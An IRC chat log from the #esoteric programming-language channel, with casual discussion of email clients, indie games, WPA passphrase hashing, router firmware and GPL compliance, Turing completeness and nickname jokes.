13:22:46 <elliott_> there are browser extensions for that, I think
13:23:20 <fizzie> (My main grief with mutt is the search thing; it's not really good when it comes to things involving not-headers, and IMAP. It does try to do server-side search up to some degree, but I recall I've sometimes done something that made it download each message.)
13:23:41 <Vorpal> used to enigmail in thunderbird by now though. Only annoyance with using thunderbird for gmail is the label based system doesn't fit that well into the folder-based system of thunderbird
13:23:49 <fizzie> (Incidentally, there seems to be a Mutt patch that adds support for using Gmail's search syntax if you're using a Gmail account over IMAP.)
13:23:53 <elliott_> fizzie: There's that http://notmuchmail.org/ thing that just does search.
13:24:32 <elliott_> ais523: anyway, a web browser has what I would consider significant advantages over a traditional desktop application as far as email goes, IMO
13:24:34 <Vorpal> fizzie, I set thunderbird to mirror everything on gmail.
13:24:45 <Vorpal> presumably searches happen locally
13:24:45 <elliott_> ais523: in that it's designed around portrait-scale, reflowable text
13:25:02 <elliott_> ais523: with "light" navigation as part of the content rather than something omnipresent
13:25:12 <fizzie> elliott_: Ooh, I've been looking for such a thing. I've got an offlineimap setup that keeps a synchronized local backup of all mail, but I've mostly been just grepping at it when looking for something.
13:25:13 <elliott_> since email is essentially a document, this is more appropriate, IMO
13:25:14 <ais523> elliott_: hmm… reflowable text has to be a solved problem by now
13:25:17 <elliott_> it's like PDF vs. HTML documents in general
13:25:35 <ais523> the thing is, people expect emails to have significant line breaks, because they usually do
13:25:45 <elliott_> ais523: well, yes, I'm just saying that as far as a fixed layout of widgets vs. a "document" display of things goes, the latter seems better for email to me
13:25:45 <ais523> so I think many clients choose not to reflow emails
13:25:52 <elliott_> and web browsers are pretty good at that by now
13:26:01 <elliott_> ais523: oh, that's an incidental thing, but yes
13:26:08 <ais523> well, it makes sense to use an HTML renderer to display emails
13:26:11 <ais523> especially HTML emails
13:26:13 <elliott_> ais523: it's more the "type" of document I'm talking about
13:26:16 <Vorpal> elliott_, anyway, doesn't sending too long lines in email break the protocol?
13:26:21 <ais523> but you do that in the bit of the client that displays the email itself, not the whole thing
13:26:28 <elliott_> ais523: I wasn't talking about rendering engine
13:26:30 <Vorpal> you would have to MIME encode it to get around that
13:26:43 <ais523> what were you talking about?
13:26:56 <elliott_> I never mentioned a rendering engine :P
13:27:04 <ais523> well, you mentioned a display
13:27:20 <ais523> as in, which bit of a browser are you saying is useful here? the rendering engine? something else?
13:27:38 <elliott_> by display, I meant more "structure"
13:27:38 <ais523> clearly it's only a subset of the browser that matters, as, say, an FTP client is irrelevant
13:27:52 <elliott_> well, I'm not saying that a web browser is the perfect way to present an email client.
13:28:11 <elliott_> I'm saying that an email client is better suited to the kind of pages a web browser displays than the kind of widget layouts a traditional GUI toolkit displays
13:28:36 <elliott_> consider that in every email client, the vast majority of the viewing area is just displaying a portrait, scrollable document with light formatting
13:28:41 <ais523> and I'm saying that that argument only applies to the bit of the client that shows the email itself
13:28:45 <elliott_> that's an HTML page, down to a tee
13:28:49 <ais523> which is typically not done with a GUI toolkit, but with an HTML renderer
13:28:56 <fizzie> Also: it looks very silly when mutt asks for "Password for user@gmail.com@imap.gmail.com".
13:28:59 <elliott_> the rest of it is things like reply buttons and the like, and displaying all of those all the time is pointless
13:29:10 <elliott_> putting them, e.g. only at the top and bottom of a message is much more reasonable
13:29:11 <ais523> things like a list of messages?
13:29:16 <ais523> and a list of accounts?
13:29:32 <ais523> I have my reply button on a toolbar, so I can memorize its location
13:29:35 <elliott_> ais523: yes, web browsers are also very good at lists of things, because what's each item in the list of messages?
13:29:41 <ais523> (I dislike the Thunderbird style at associating it with a message)
13:29:50 <ais523> elliott_: err, no, web browsers are not good at lists of things
13:29:57 <Vorpal> why would you need to reflow email? An email line can't be longer than 72 chars iirc, and that fits easily into the standard terminal size of 80x25
13:30:09 <ais523> they're good at links, but links are basically "reacting to clicks", and everything can do that trivially
13:30:19 <elliott_> that's a ridiculously shallow view of what a link is
13:30:22 <ais523> and actually, a list of emails /isn't/ a list of links
13:30:23 <elliott_> anyway, this is a pointless discussion
13:30:28 <ais523> because you can do things like select then
13:31:29 <fizzie> "Ooh, hey, there's actually *new messages* in Gmail... oh, it's just that Google Wave is shutting down, and this was sent in November last year." I might not use that account very much.
13:31:43 <fizzie> Sorry, not "shutting down", it's "sunsetting".
13:33:10 <fizzie> There's also an: "Here's some people you might know on Google+: Larry Page, Google, ..." Well, uh... I guess I know *of* him, but still, isn't that a bit generic?
13:33:29 <fizzie> I guess he's just lonely.
13:33:44 <elliott_> http://en.wikipedia.org/wiki/Cache_invalidation what a pitiful article
13:35:03 <ais523> the talk page is pretty funny too
13:35:10 <Vorpal> fizzie, iirc it suggested notch and Linus Torvalds to me at some point.
13:36:44 <ais523> do celebrities have more or fewer friends on average than people as a whole?
13:36:55 * elliott_ considers adding "It is one of the three hard problems in computer science."
13:37:05 <elliott_> I bet I could even find more than one source ;)
13:40:01 <tswett> elliott_: yeah, deleting "Surprised look" would probably be good.
13:40:13 <Vorpal> hm is it just me, or is the term "indie game" often used in a different way than it's literal meaning? The literal meaning being "game not published by a different company than the developer of the game"
13:41:30 <Vorpal> which would include games like Portal 2 I believe? (For the Steam version at least.) Yet few would call that an indie game.
13:41:45 <ais523> Vorpal: it's being used as "game not created by a major development company", which is not the same, but is a different literal meaning of the same phrase
13:42:05 <Vorpal> ais523, technically I believe Skyrim is an indie game though. Heh.
13:42:45 <ais523> no, your definition is stupid because it doesn't match common usage
13:42:58 <ais523> and the common-usage definition is also entirely reasonable and fits the meaning of its individual words
13:43:01 <Vorpal> ais523, true, that is what it is used for, but then is Trine 2 an indie game?
13:43:13 <Vorpal> because it has a publisher, unlike the first Trine game
13:43:18 <ais523> I don't know, I've never played it
13:43:38 <elliott_> Vorpal: you seem to have missed the part where ais523 explicitly criticised your publisher-based definition
13:44:11 <ais523> elliott_: oh right, I'd forgotten that his scrollback sometimes doesn't even extend one line
13:44:16 <Vorpal> elliott_, I did notice it? But it came after that line?
13:44:38 <elliott_> <ais523> Vorpal: it's being used as "game not created by a major development company", which is not the same, but is a different literal meaning of the same phrase
13:44:40 <Vorpal> might be different on your end, I'm on /really/ laggy connection atm.
13:44:41 <elliott_> <ais523> no, your definition is stupid because it doesn't match common usage
13:44:43 <elliott_> <Vorpal> ais523, true, that is what it is used for, but then is Trine 2 an indie game?
13:44:50 <elliott_> there is no way you could have said that before both of those
13:44:55 <Vorpal> <Vorpal> ais523, technically I believe Skyrim is an indie game though. Heh.
13:44:56 <Vorpal> <ais523> Vorpal: it's being used as "game not created by a major development company", which is not the same, but is a different literal meaning of the same phrase
13:45:02 <Vorpal> <Vorpal> ais523, true, that is what it is used for, but then is Trine 2 an indie game?
13:45:03 <Vorpal> <Vorpal> because it has a publisher, unlike the first Trine game
13:45:07 <Vorpal> <ais523> no, your definition is stupid because it doesn't match common usage
13:45:10 <Vorpal> <Vorpal> small studio though
13:45:33 <Vorpal> elliott_, and you see it was "true" in response to how it is being used.
13:45:45 <Vorpal> not the point where he said that it was stupid
13:46:06 <Vorpal> and I'm not saying I use that definition, I just pointed out that the literal meaning was that.
13:51:05 <elliott_> wp says "Independent video games (commonly referred to as indie games) are video games created by individuals or small teams without video game publisher financial support." which isn't the same
13:51:30 <ais523> elliott_: I was going on the meanings of "independent" and "video game" combined
13:51:43 <ais523> as in, I assumed that Vorpal meant "literal" as in "composed out of the meanings of the individual words"
13:51:48 <ais523> as it was the sense he seemed to be using it in
13:52:24 <Vorpal> <ais523> as in, I assumed that Vorpal meant "literal" as in "composed out of the meanings of the individual words" <-- indeed
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14:02:52 <elliott_> Taneb: fly up to the world pls
14:04:55 <Taneb> Can't really be bothered atm
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14:09:54 <HackEgo> tikfreenode: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
14:09:58 <elliott_> My `welcome aim has become impeccable.
14:15:12 <fizzie> Yes, most of your welcomed persons have indeed quit with a rather acceptable rapidity.
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14:19:02 <elliott_> Friendship: I think you will agree that the continued growth of this channel has lead only to bad things.
14:19:13 <elliott_> He's the stray kitten that wandered in bewildered.
14:21:23 <Friendship> @tell Infinikiller64 <Infinikiller64> remember when you ruined this IRC with your name and mlp // Yup! Clearly you must remember what it was like in the better times, before. Y'know, before you were here. Those previous seven years when I was here and you were not.
14:21:41 <elliott_> Friendship: Haha what the shit is that guy saying
14:21:59 <elliott_> @tell Infinikiller64 Don't bother coming back.
14:22:11 <elliott_> Wait, I'm meant to be diplomatic now.
14:22:22 <elliott_> EHHHH being a jerk in /msg causes my diplomacy to end.
14:22:47 <Friendship> It's funny because he PM'd me that while I wasn't even online or saying anything.
14:24:45 <fizzie> Friendship: How do you ruin things with your name and a multilayer perceptron?
14:28:15 <fizzie> No, seriously, what's the mlp there?
14:28:22 <ion> I was just about to ask that.
14:30:22 <Friendship> But really, pretty much all I've done is change my name to "Friendship"
14:30:26 <Friendship> I hear the word existed before the show.
14:30:40 <fizzie> I still keep thinking it as a Mortal Kombat finishing move.
14:31:01 <fizzie> Every time you open your virtumouth, I imagine a pixelated guy giving a flower to another.
14:31:01 -!- MDude has joined.
14:32:38 <Friendship> Also I put Time Cube references in the topic.
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15:20:49 <chickenz> mroman: I put my interpreter here : http://pastebin.com/9PDkUiH2
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15:45:05 <HackEgo> rasiakikkuvissännekkaampiin
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16:02:08 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
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16:23:28 <ais523> <Judge Alsup> In the copyright-liability briefs due on March 9, please include analysis of whether or not the copyrightability of the selection, arrangement, and structure of the APIs depend on the underlying programming language being Java as opposed to Python or QBASIC or other non- Java programming language.
16:23:38 * ais523 wonders what possessed him to ask that
16:23:43 <ais523> and the selection of languages, fwiw
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16:47:39 <Friendship> ais523: Today in History: Oracle convinces government that only programs written in or implementing Java are copyrightable.
16:48:00 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
16:48:26 <ais523> Friendship: that would be ridiculous :)
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16:56:55 <ais523> @tell lambdabot thanks for relaying all these messages for us
16:57:44 <Ngevd> Why do I have to be the #esoteric kitten?
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17:17:51 <Phantom_Hoover> For the last fortnight or so I've been intermittently terrifying myself by constantly probing into the nature of consciousness and I just want things to go back to normal.
17:19:21 <Ngevd> Real life doesn't exist; so get on with it
17:23:52 <Friendship> We all have moments of ontological crisis.
17:24:00 <oklopol> Phantom_Hoover: i suggest not giving a fuck
17:24:32 <Phantom_Hoover> Friendship, yeah, but this one's been going on forever and I wish it'd fucking leave me alone.
17:25:00 <Phantom_Hoover> oklopol, tried that, unfortunatly ontological crises have this nasty habit of resurfacing whenever you do anything ontological, i.e. existing.
17:25:50 <Friendship> Well, you can either desperately try to surface by surrounding yourself in the glorious materialistic joys of life, or intentionally hit bottom in hopes of recoil.
17:27:25 <oklopol> what i do is i don't give a shit and it goes away
17:27:51 <Phantom_Hoover> Yes oko but not everyone gets to be as cool as you it's a shame.
17:28:10 <Friendship> The former is not a cure, it just masks symptoms. So it works in the sense that you can float along for a while 'til it subsides on its own.
17:29:08 <oklopol> Friendship: i thought you never had crises of any kind
17:29:49 <Ngevd> I mainly have the sort of crises where you convince yourself that people are imaginary
17:30:03 <Phantom_Hoover> Friendship, but I'm scared that I'll just end up at the bottom forever, even though rates of suicide among the metaphysically-inclined aren't anything near that high.
17:30:41 <Friendship> oklopol: I don't, Friendship is Magic!
17:32:28 <Friendship> Phantom_Hoover: I can't speak for everyone, but last time I was having a few ontohell weeks, it just so happened that my grandfather died. Ironically, that helped a lot. The issue being forced brought me pretty low, but from low I could get back.
17:33:38 <Ngevd> Phantom_Hoover, obviously the solution is to kill your grandparents
17:33:51 <oklopol> i was just gonna say i hope no one says the obvious joke
17:34:01 <Phantom_Hoover> I've got this nagging suspicion my surviving grandparents are immortal.
17:34:12 <Ngevd> Only one way to find out!
17:34:36 <oklopol> Friendship's first day on irc
17:35:01 <Friendship> I'm just tryin' to live up to my new nick here X-D
17:35:36 <oklopol> don't worry we all love Phantom_Hoover and hope he finds his way
17:35:43 <oklopol> so Phantom_Hoover when's uni starting
17:36:17 <ion> Meanwhile in Finland http://is12.snstatic.fi/img/978/1288452408505.jpeg
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17:38:05 <Phantom_Hoover> Also the ontohell is annoyingly bipolar; right now, even if I try to induce it I can't get it bad, but a bit before my first post I was close to despair.
17:39:52 <Friendship> ion: To get to your class on the third floor, please enter the open fifth floor window and use the stairs (not the elevator)
17:41:47 <Vorpal> wow, this is one buggy ADSL-modem/router. Somehow it managed to assign the same IP to two devices...
17:43:00 <Friendship> Vorpal: The real trick would be to get both somehow confused into thinking they both had the same TCP stream open to some host.
17:43:27 <Vorpal> well I fixed it anyway
17:44:33 <Vorpal> also wtf, I'm looking at the network settings in ubuntu's network manager. The passwords it displays for a wlan network is definitely not the same as was entered
17:44:41 <Vorpal> rather it is something crazy in hex.
17:45:17 <Vorpal> oh well, I guess if I can't find the sodding password I just have to make a new one, rather than configure the new router to use the same as the old one...
17:45:27 <Vorpal> which means I have to update it on several computers
17:46:24 <Friendship> There's some standard scheme to convert ASCII passwords to binary strings, it may be displaying the post-conversion value.
17:46:34 <Vorpal> Friendship, and how do I convert it back
17:47:12 <ion> vorpal: I remember encountering the “WLAN passphare stored in hex format” issue in some old release, but at least in Ubuntu 11.10 they’re readable in the settings.
17:47:25 <Vorpal> ion, I'm using the LTS version on my laptop
17:47:44 <ion> Sounds about right.
17:47:57 <Vorpal> well I'll make a new one
17:48:03 <Vorpal> I wonder what the max length is
17:48:35 <Vorpal> hm, am I still connected?
17:55:21 <fizzie> It's just PBKDF2 for WPA.
17:57:36 <fizzie> I could understand showing a hex string for WEP since that's what gets entered, but weird to do that for WPA2-PSK.
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17:59:28 <fizzie> It's not exactly very reversible. (I mean, it's basically HMAC-SHA1 with 4096 iterations.)
18:01:38 <Friendship> Yeah, I feared it may be irreversible :)
18:03:44 <Vorpal> yeah I'm changing password
18:04:13 <Vorpal> also wtf, the router is claiming one of the devices is connected on an unknown port. Actually WLAN. It shows it as WLAN just fine for the other laptop on WLAn
18:04:26 <Vorpal> and a third laptop is unable to connect to wlan?
18:04:45 <Vorpal> also that laptop runs windows 7, so I have nfc how to debug that.
18:06:41 <Friendship> Vorpal: It's plugged into an unknown VIRTUPORT *ooeeeoo*
18:07:04 <fizzie> Possibly three laptops were just too much.
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18:25:03 <Vorpal> fizzie, btw that is one of the computers that previously ended up sharing IP
18:25:26 <Vorpal> when using ethernet that is
18:25:39 <Vorpal> (that laptops needs to be configured for both)
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18:38:57 <Vorpal> and hm the laptop that didn't work before suddenly just works
18:39:22 <fizzie> That's networking for you.
18:39:44 <Vorpal> correction: networking with consumer-crap router
18:40:08 <Vorpal> I bet it wouldn't be as painful using a linux box as a router
18:40:33 <Vorpal> also the web interface of the router is super-slow
18:40:41 <Vorpal> some speedtouch thingy
18:41:18 <Vorpal> and seems this one lacks telnet unlike my previous router
18:42:00 <Vorpal> hm ftp, http, https and port 1723?
18:45:51 <Friendship> Feh, I was hoping I could use the unix["Hyuk"] trick to shorten my tweetable interpreter a bit.
18:48:20 <ais523> it only helps when it gets rid of a pair of parens
18:48:37 <Friendship> Turns out I was pretty low on parens anyway X-D
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18:49:33 <ion> unix["Hyuk"] trick?
18:49:51 <fizzie> Presumably the 1["foo"] trick in general, that is.
18:50:01 <fizzie> I don't suppose writing "unix" instead of "1" helps much.
18:50:19 <ion> I was wondering what it has to do with Unix.
18:50:35 <Friendship> I just remembered it because I most recently saw it in an IOCCC submission that used unix[stuff]
18:50:41 <fizzie> !c printf("%c\n", windows["Why no worky?"]);
18:53:06 <Vorpal> fizzie, of course it doesn't compile, using the identifier "windows" there is a Microsoft extension, and EgoBot doesn't run on Windows so...
18:54:42 <Vorpal> Friendship, oh come on, I just made a further joke...
18:54:57 <Vorpal> also hm you are Gregor, right
18:55:38 <Vorpal> Friendship, I said that after I did /whois
18:55:45 <Vorpal> which is why there was no question mark at the end
18:56:13 <Friendship> Except that "you are <name>, right" is a sentence formation that can only be a question.
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18:57:27 <Friendship> I got an email from Subway saying (amongst other things) that the Lafayette exclusive special is the Seafood Sensation. Because rural Indiana is the best place for seafood D-8
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18:58:42 <Vorpal> uh wikipedia indicates it is about 20 or so things in US
18:59:01 <Vorpal> everywhere from New York to Minnesota has a "Lafayette"?
18:59:02 <Friendship> Lafayette was a French general who we liked a lot before we arbitrarily decided to hate France.
18:59:11 <Friendship> So his name is plastered all over the US.
18:59:17 <Friendship> But this Lafayette is Lafayette, Indiana, yes.
18:59:37 <Vorpal> Friendship, so when was this? I mean you hated France a couple of times during history
18:59:52 <coppro> he was a freedom general
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19:01:13 <Vorpal> So apparently the UI for this router is significantly faster (in page loading times) when switching to English from the (default) Swedish translation
19:01:37 <Vorpal> with significantly I mean from 10-15 seconds before the switch, 4-5 after
19:01:41 <Vorpal> which is still pretty bad
19:02:02 <fizzie> Is it translated with client-side scripting?
19:02:45 <fizzie> Also Lafayette is a (chain of?) department store(s) in (at least) Paris. I remember they had a fancy roof.
19:03:05 <fizzie> http://en.wikipedia.org/wiki/File:Galerie_Lafayette_Haussmann_Dome.jpg -- see, that's fancy.
19:03:15 <Vorpal> fizzie, does "view source" (in chrome) view the source as downloaded or after any DOM-modifications by javascript?
19:03:32 <Vorpal> if "as downloaded" then the answer is that it does not use js to translate
19:04:07 <fizzie> I think it's as downloaded, yes. The "inspect element" shows the current tree, of course.
19:04:51 <Vorpal> this is my third Thomson ADSL modem btw
19:05:09 <Vorpal> the first one had a really fast and responsive web UI, also very basic graphically
19:05:21 <Vorpal> the second one was more fancy graphically, and was slower.
19:05:27 <Vorpal> this one is even fancier and even slower
19:05:30 <fizzie> I have a "ZTE" now, and it's the GPL-violatingest modem ever, which is I think it's one notable feature.
19:05:47 <Vorpal> well my ISP provides the modems to me
19:06:00 <Vorpal> doesn't cost me anything thus
19:06:04 <fizzie> Same here, it's what they bundled with the VDSL2 deal.
19:06:15 <fizzie> Still doesn't come with sources.
19:07:20 <Vorpal> btw my current one is a "TG585 v8" which they seem to have dropped the "speedtouch" brand from, but when looking through the UI the menus and so on are familiar
19:07:25 <Vorpal> so it is basically a speedtouch
19:07:44 <Vorpal> pretty much same UI but different graphical theme
19:07:44 <fizzie> I think SFC at least knows about it.
19:07:56 <Friendship> <Vorpal> Friendship, so when was this? I mean you hated France a couple of times during history // When we liked them in the American Revolution (we would have liked anybody who hated Britain at that time)
19:08:05 <fizzie> ZTE's Finnish folks told the guy who was asking after it to talk with the ISP; the ISP just stayed silent.
19:08:29 <Vorpal> fizzie, how would the ISP be able to do this?
19:09:22 <fizzie> Vorpal: Software Freedom Conservancy, they do GPL enforcement and such for their member projects, and BusyBox (which is what the box primarily uses) is one of them.
19:09:55 <fizzie> Also I suppose it's borderline possible the ISP has the sources; the firmware is slightly customized. Though they might just get finished binaries too.
19:10:23 <fizzie> Or some sort of halfway-built "has everything compiled but has the firmware build scripts so they can replace settings and logos and whatnot" deal.
19:10:30 <fizzie> Who knows, those are certainly not public details.
19:10:38 <Vorpal> presumably they use the linux kernel as well then? Unless busybox runs on something else (which I doubt)?
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19:11:00 <fizzie> Yes, it runs on Linux. And I think there was probably some amount of other GPL code in there.
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19:12:47 <fizzie> Zebra, at least, though I'm not entirely sure what that's in there for.
19:13:07 <Vorpal> what is zebra in this context?
19:13:16 <fizzie> It's that routing daemon.
19:13:30 <fizzie> I think there was some sort of RIPv<something> support mentioned.
19:14:10 <Vorpal> I can't see why you would need anything that complicated on a consumer router
19:14:11 <fizzie> And of course tools like iproute2 and netfilter and bridge-utils are probably GPL'd, but they're rather close to the kernel anyway.
19:14:24 <Vorpal> you just need iptables and well, iproute2, and so on
19:14:59 <fizzie> It has those; I suppose one of their customers has wanted RIP for some reason or another, and they haven't bothered to isolate the feature for that customer.
19:15:11 <fizzie> It only runs RIP toward the WAN interfaces, anyway.
19:15:45 <fizzie> Maybe some of their customers does some nasty traffic snooping by sending RIP routing updates for individual IPs. :p
19:16:39 <fizzie> Oh, it also has bftpd on it, that's GPL'd. (I've forgotten what it used the FTP server for.)
19:17:23 <Vorpal> fizzie, probably to upload new firmware?
19:17:38 <fizzie> Maybe, though it's got quite a few methods for that already.
19:18:20 <fizzie> It does TR-069 remote control, and of course there's the HTTP interface's file upload, and a TFTP server though I think that's tied to the TR-069.
19:21:05 <fizzie> Also I think the web server was some existing "micro_httpd" except rather extensively customized; but that had some more permissive license.
19:22:44 <Friendship> http://support.zte.com.cn/support/news/NewsDetail.aspx?newsId=1000502 ?
19:23:07 <Friendship> (Presumably not the same device, but apparently they've learned their lesson in the past?)
19:23:41 <fizzie> That's an Android phone, but I guess.
19:27:50 <fizzie> Regarding the earlier question, presumably the ISP could ask for the sources. The impression I got from the guy's ISP-user-forum posting was that ZTE just said they don't speak to end users directly and that he should contact the place where he got the device.
19:28:05 <fizzie> They don't give out firmware updates from ZTE either.
19:28:19 <fizzie> At least for this device, maybe for the phone.
19:28:59 <fizzie> I vaguely recall that ZTE's name has been mentioned in quite a few contexts together with "source" and "GPL" and "lack of".
19:31:34 <fizzie> Yes, they seem to have downloadable firmware updates for the Blade phone.
19:31:42 <fizzie> "ZTE-BLADE(Elisa)driver(ZTE Corporation is the owner of copyright in the software. Other works experiencing may be trademarks or copyrights of their respective owners.)"
19:32:59 <fizzie> They also used to have a "ztefinland.com", but apparently that domain is now taken by a domain squatter.
19:34:01 <fizzie> (ztesweden.se is still online, and their "contact us" lists the Finnish office, though.)
19:34:34 <Friendship> Technically speaking, it is the ISP who are responsible for providing the source, since they are also distributing the device. However, they were probably never given the source from ZTE, and wouldn't be if they asked.
19:37:16 <Vorpal> still, action needs to be taken
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20:05:15 <olsner> fizzie: are you looking for kernel source for the ZTE Blade?
20:08:24 <fizzie> I don't even have one.
20:09:33 <olsner> then I will *definitely* not help you find that
20:09:55 <fizzie> There was a link to ZTE Blade kernel posted not more than about twenty lines back.
20:14:33 <olsner> that's like, before the start of time, like
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21:10:26 -!- oerjan has set topic: QUANTUM-LANGUAGE-PARSE-SYNTAX-GRAMMAR is the Correct Language, as it is based on fact. There is no ambiguity with anything Quantum, it is purely Mathematical. Have you ever thought of Language being Mathematical? | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
21:10:59 <oerjan> the topic was getting old
21:11:41 <quintopia> i knew it was gonna change to something like that soon
21:19:43 -!- skvmb has joined.
21:20:10 <HackEgo> skvmb: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:20:58 <skvmb> How does one go about adding a page to the esolang wiki?
21:21:12 <fizzie> `@ oerjan welcome oerjan
21:21:15 <HackEgo> oerjan: oerjan: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:21:28 <oerjan> skvmb: search for it, then you get an option to create it
21:22:32 <oerjan> so basically, no fever but you will soon starve.
21:23:41 <oerjan> skvmb: you also get such an option if you follow a red link on some other wiki page
21:23:46 <ion> oklopol: I’m pretty much in the same condition. A painkiller helps with the throat.
21:24:01 <ion> Also, TWSS
21:24:17 <skvmb> Thanks. Searching for the name of my language (which is not listed) gave me the link to add page.
21:24:40 <ais523> just heard on a TV quiz show: the contestant was asked what Babbage was famous for (multiple choice), and discounted inventing the computer because she thought Apple invented the computer
21:25:09 <oklopol> i just assumed i was going to die
21:25:11 <ion> But Steve *did* invent the computer.
21:25:41 <quintopia> he and al gore are responsible for the modern technological world
21:26:21 <ion> oklopol: I actually didn’t have much fever but i was feeling absolutely horrible otherwise, what with the sinus pain radiating to create headache and earache.
21:26:55 * oerjan seems to have escaped the flu so far this year knock on wood
21:27:12 <oklopol> i had 38 and was feeling fine before going to sleep, just woke up and fever is down but i feel like a horse in the rain.
21:27:15 <mroman> What's with this "r.e.s" guy?
21:27:33 <oerjan> mroman: hm? an old regular...
21:28:01 <oerjan> i don't think i've seen em in a while
21:29:16 <mroman> The article also uses plural forms.
21:29:20 <oerjan> mroman: spivak pronoun, common in agora nomic where i used to be (and some here still are)
21:29:45 <mroman> em is short for "them"
21:29:55 <oerjan> (actually everyone here who joined did so after i left, i think)
21:30:19 <oerjan> mroman: it's an invented, gender neutral pronoun. (spivak is the name of the inventor)
21:30:56 <oerjan> you might consider it short for them if you consider that acceptable for singular gender-neutral use
21:31:03 <fizzie> oerjan: "The original pronoun set was not created by me. I think I read about it in a newspaper clipping, perhaps from the Boston Globe, during the time I taught at Brandeis, and I believe it was credited to an anthropologist; later on, when I wanted to use it, I was unable to locate the source."
21:31:06 <skvmb> maybe it's the morphine, but I have no idea what any of you are talking about
21:31:19 -!- NihilistDandy has joined.
21:31:22 <fizzie> oerjan: Anyway, e didn't invent them.
21:31:45 <oerjan> skvmb: um we've done several different topics in the last few minutes, i think
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21:32:31 <skvmb> yep. i caught the gates one. but that weird ass language looks pretty cool.
21:33:02 <oklopol> skvmb: why are you on morphine?
21:33:03 -!- MDude has quit (Ping timeout: 244 seconds).
21:33:18 <skvmb> addictive personality, i guess
21:33:38 <oerjan> skvmb: wait, no "gates" has been mentioned since you entered that i noticed
21:33:58 <oerjan> unless you are referring to steve gates and bill jobs
21:34:04 <oklopol> oerjan: steve gates, the founder of applesoft?
21:35:29 <skvmb> a programming language, where the user plays pong to bounce the ball of the desired letters to form code
21:35:46 <Friendship> That sounds more like a really poor choice of editor than a programming language.
21:35:54 <oerjan> Friendship: you'd think
21:36:30 <oerjan> although admittedly that approximately describes several language on the wiki
21:37:24 <oklopol> Friendship: wait why the ellipsiiiiiiis
21:37:42 <mroman> Btw: Who said that humans ain't turing complete?
21:37:47 <Friendship> I am almost as much of an ellipses fiend as I am a friendship friend.
21:37:59 <Friendship> mroman: Human individuals, or human society?
21:37:59 <skvmb> i'm not turing complete, my memory is shot
21:38:04 <Friendship> An individual human is trivially non-TC.
21:38:06 <mroman> Friendship: Individuals
21:38:15 <Friendship> mroman: I can solve the halting problem for any human.
21:38:21 <oklopol> skvmb: are you in finland? i would certainly like some morphine right now.
21:38:36 <mroman> skvmb: Most computers also have not infinite RAM.
21:38:42 <skvmb> i wish. i'm in the piss all united states. :(
21:38:55 <mroman> so a computer is also not exactly very turing complete.
21:39:14 <Friendship> mroman: http://esolangs.org/wiki/Bounded-storage_machine
21:39:21 <mroman> Humans can interpret brainfuck code
21:39:25 -!- NihilistDandy has quit.
21:39:43 <mroman> Given an infinite amount of paper and pencils.
21:39:50 <Friendship> Because some BF code needs trillions of trillions of steps to reach a conclusion.
21:39:53 <oklopol> mroman: humans cannot implement the - operation in cells divisible by 832.
21:40:32 <oklopol> this is called the howard-steve isomorphism and it's an important theorem in esology
21:41:01 <mroman> Friendship: Ok. A human could die before reaching the conclusion.
21:41:15 <skvmb> But, people can be programmed right?
21:41:37 <Friendship> mroman: For all humans, there exists at least one BF program which does terminate but takes more steps than the human can run in their lifetime.
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21:42:04 <fizzie> Friendship: What sort of finite-lifetime humans *your* friends are?
21:42:07 <oklopol> and more importantly, there is no proof that it terminates that they could find in their lifetime
21:42:13 <mroman> Machines can never be turing complete.
21:42:21 -!- Nisstyre has joined.
21:42:30 <oklopol> (put that inside the quantifier)
21:42:31 <skvmb> IRP is exactly what I was looking for
21:42:31 <Friendship> mroman: The physical universe is limited, so duh. We can only make approximations of an ideal.
21:42:47 -!- pikhq_ has joined.
21:42:55 <Friendship> Hence why pages like http://esolangs.org/wiki/Bounded-storage_machine exist.
21:43:30 -!- pikhq has quit (Ping timeout: 272 seconds).
21:44:43 <skvmb> please someone define howard-steve isomorphism
21:45:36 <Friendship> The trickiest bit of the Howard-Steve Isomorphism is that, since it's a treatise on the nature of human thought, it also comes with the corollary that noöne can understand the Howard-Steve Isomorphism.
21:45:56 <Friendship> Apparently it is both an isomorphism and a treatise. Who knew.
21:46:56 <quintopia> i think the welcome message for newcomers could be automated. harvest a list of nicks from the logs, boil them down to their first five letters. any time someone joins, hackego compares them against the list and auto-posts the message if not found
21:47:59 <oklopol> but it's so much fun to do manually
21:48:08 <skvmb> why 5 letters instead of entire string?
21:48:12 <fizzie> Boil them down to their first five letters, then add the wine and let simmer for 15 minutes.
21:48:28 <ion> KAADA SULA VOI… ok, sorry
21:48:58 -!- oklopol has changed nick to oklofok.
21:49:09 <oklofok> not sure how five would help
21:49:30 <fizzie> We'd just have all oklo[a-z] on the list.
21:49:47 -!- oklofok has changed nick to oklo[a-z].
21:49:48 -!- skvmb has changed nick to okloqok.
21:51:22 <oklo[a-z]> you don't have the stones to join the oklo family
21:51:36 <quintopia> 5 would be enough to cover all if itidus[0-9][0-9] though
21:51:56 -!- oklo[a-z] has changed nick to oklodol.
21:52:00 <oklodol> i think i've used this as well
21:53:28 <Friendship> Of course, I change my nick only in complete ways, not suffixes.
21:53:51 <oklodol> you never change your nick
21:54:05 <oklodol> you're too proud to be here with your own name
21:54:28 <fizzie> As least, from now on you shouldn't change. You have found the optimum.
21:54:39 <fizzie> The optimal. The optiest.
21:55:26 <oklodol> Antaako iti hellsti piiskaa takamukselle ja pussaa sitten pipi?
21:55:30 <quintopia> Friendship: just make sure you change your nick while in-channel so hackego could see
21:56:13 <ais523> Friendship is your middle name?
21:58:04 -!- okloqok has changed nick to kirkko.
21:58:22 <oklodol> so wait both magic and gregor are friendship's middle names?
21:58:27 -!- kirkko has changed nick to KirkkoPoltin.
21:58:36 <fizzie> "Gregor: of the Magic family".
21:58:52 <Friendship> Gregor Friendship Richards. So Gregor, Friendship, Magic and Richards are all my names (because Friendship is Magic)
21:59:19 <oklodol> have you used the nick Magic?
21:59:52 <oklodol> KirkkoPoltin: wrong language, you want norwegian
22:00:00 <Sgeo> * Is :Nickname is already in use.
22:00:07 <oklodol> i love how ownership is forever on freenode
